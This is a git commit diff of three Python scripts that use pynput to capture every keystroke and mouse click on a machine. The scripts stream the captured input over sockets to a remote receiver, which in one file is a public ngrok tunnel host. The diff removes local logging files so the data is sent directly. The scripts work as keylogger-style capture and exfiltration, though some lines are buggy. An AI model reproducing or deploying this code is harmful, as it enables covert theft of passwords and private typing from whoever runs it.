Merge branch 'master' into nofiles

This commit is contained in:
CactiChameleon9 2020-12-10 18:09:51 +00:00
commit 1ef5b694f4
3 changed files with 174 additions and 242 deletions

View File

@ -1,81 +1,62 @@
import socket import socket
import os import os
from tkinter import * from tkinter import *
from pynput import keyboard from pynput import keyboard
#ipFile = open("IP.txt") #window = Tk()
#IP = ipFile.read() #label = Label(window, text= 'What is the IP')
#ipFile.close() #entry = Entry(browser_window, width=200)
#entry.insert(END, IP)
#label.pack()
#window = Tk() #entry.pack()
#label = Label(window, text= 'What is the IP')
#entry = Entry(window, width=200)
#entry.insert(END, IP)
#label.pack() SEPARATOR = "<SEPARATOR>"
#entry.pack() BUFFER_SIZE = 128 # send 4096 bytes each time step
host = "10.4.27.243"
# the ip address or hostname of the server, the receiver
SEPARATOR = "<SEPARATOR>" # the port, let's use 5001
BUFFER_SIZE = 128 # send 4096 bytes each time step port = 10001
host = "10.4.27.243" #IPfile = open("IPfile.txt", "w")
# the ip address or hostname of the server, the receiver #text_file.write("¬")
# the port, let's use 5001 #text_file.close()
port = 10003
# the name of file we want to send, make sure it exists
filename = "dataKR.txt"
# get the file size
filesize = os.path.getsize("dataKR.txt")
#IPfile = open("IPfile.txt", "w")
#text_file.write(host) # create the client socket
#text_file.close() s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port)) #-----------------------------------------------------------
print("[+] Connected.")
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def on_press(key):
dataToSend = ""
def sendfile(): dataToSend.write(('{}'.format(key)).replace("'", ""))
# start sending the file sendfile()
with open(filename, "rb") as f: dataToSendBytes = dataToSend.encode()
while True: s.sendall(dataToSendBytes)
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done with keyboard.Listener(
break
# we use sendall to assure transimission in on_press = on_press) as listener:
# busy networks
s.sendall(bytes_read) listener.join()
# close the socket
#s.close()
#-----------------------------------------
#-----------------------------------------------------------
def on_release(key):
text_file = open(filename, "w")
text_file.write(('{}'.format(key)).replace("'", ""))
text_file.close()
sendfile()
def on_press(key):
print("\n")
with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
#-----------------------------------------

View File

@ -1,80 +1,54 @@
import socket import socket
import os import os
from tkinter import * from tkinter import *
from pynput import keyboard from pynput import keyboard
#window = Tk() #ipFile = open("IP.txt")
#label = Label(window, text= 'What is the IP') #IP = ipFile.read()
#entry = Entry(browser_window, width=200) #ipFile.close()
#entry.insert(END, IP)
#label.pack()
#entry.pack() #window = Tk()
#label = Label(window, text= 'What is the IP')
#entry = Entry(window, width=200)
#entry.insert(END, IP)
SEPARATOR = "<SEPARATOR>" #label.pack()
BUFFER_SIZE = 128 # send 4096 bytes each time step #entry.pack()
host = "10.4.27.243"
# the ip address or hostname of the server, the receiver
# the port, let's use 5001 SEPARATOR = "<SEPARATOR>"
port = 10001 BUFFER_SIZE = 128 # send 4096 bytes each time step
# the name of file we want to send, make sure it exists
filename = "dataKP.txt" host = "10.4.27.243"
# get the file size # the ip address or hostname of the server, the receiver
filesize = os.path.getsize("dataKP.txt") # the port, let's use 5001
port = 10003
#IPfile = open("IPfile.txt", "w")
#text_file.write("¬") # create the client socket
#text_file.close() s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
#-----------------------------------------------------------
# create the client socket
s = socket.socket() def on_release(key):
print(f"[+] Connecting to {host}:{port}") dataToSend = (('{}'.format(key)).replace("'", ""))
s.connect((host, port)) dataToSendBytes = dataToSend.encode()
print("[+] Connected.") s.sendall(dataToSendBytes)
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def on_press(key):
print("\n")
def sendfile():
# start sending the file
with open(filename, "rb") as f:
while True:
# read the bytes from the file with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
bytes_read = f.read(BUFFER_SIZE) listener.join()
if not bytes_read:
# file transmitting is done
break #-----------------------------------------
# we use sendall to assure transimission in
# busy networks
s.sendall(bytes_read)
# close the socket
#s.close()
#-----------------------------------------------------------
def on_press(key):
text_file = open("dataKP.txt", "w")
text_file.write(('{}'.format(key)).replace("'", ""))
text_file.close()
sendfile()
with keyboard.Listener(
on_press = on_press) as listener:
listener.join()
#-----------------------------------------

View File

@ -1,81 +1,58 @@
import socket import socket
import os import os
from pynput import keyboard from pynput import keyboard
from pynput.mouse import Button, Controller from pynput.mouse import Button, Controller
from pynput import mouse from pynput import mouse
MOUSE = Controller() MOUSE = Controller()
dataToSend = ""
SEPARATOR = "<SEPARATOR>" SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 128 # send 4096 bytes each time step BUFFER_SIZE = 128 # send 4096 bytes each time step
host = "10.4.27.243" host = "4.tcp.ngrok.io"
# the ip address or hostname of the server, the receiver # the ip address or hostname of the server, the receiver
# the port, let's use 10002 # the port, let's use 10002
port = 10002 port = 17058
# the name of file we want to send, make sure it exists # the name of file we want to send, make sure it exists
filename = "dataM.txt" # get the file size
# get the file size
filesize = os.path.getsize("dataM.txt")
# create the client socket
s = socket.socket()
# create the client socket print(f"[+] Connecting to {host}:{port}")
s = socket.socket() s.connect((host, port))
print(f"[+] Connecting to {host}:{port}") print("[+] Connected.")
s.connect((host, port)) # send the filename and filesize
print("[+] Connected.") #s.send(f"{filename}{SEPARATOR}{filesize}".encode())
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
def sendfile(): ##############################################################################
# start sending the file
with open(filename, "rb") as f:
while True: def on_click(x, y, button, pressed):
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE) if button == "Button.left":
if not bytes_read: dataToSend = ("L")
# file transmitting is done else:
break dataToSend = ("R")
# we use sendall to assure transimission in
# busy networks dataToSend = dataToSend + str(x) + "," + str(y)
s.sendall(bytes_read) dataToSendBytes = dataToSend.encode()
# close the socket s.sendall(dataToSendBytes)
#s.close()
##############################################################################
def on_click(x, y, button, pressed): with mouse.Listener(
print(button)
on_click = on_click) as listener:
text_file = open("dataM.txt", "w")
if button == "Button.left": listener.join()
text_file.write(str("R"))
else:
text_file.write(str("L")) ###############################################################################
text_file.close()
text_file = open("dataM.txt", "a")
text_file.write(str(x))
text_file.write(",")
text_file.write(str(y))
text_file.close()
sendfile()
with mouse.Listener(
on_click = on_click) as listener:
listener.join()
###############################################################################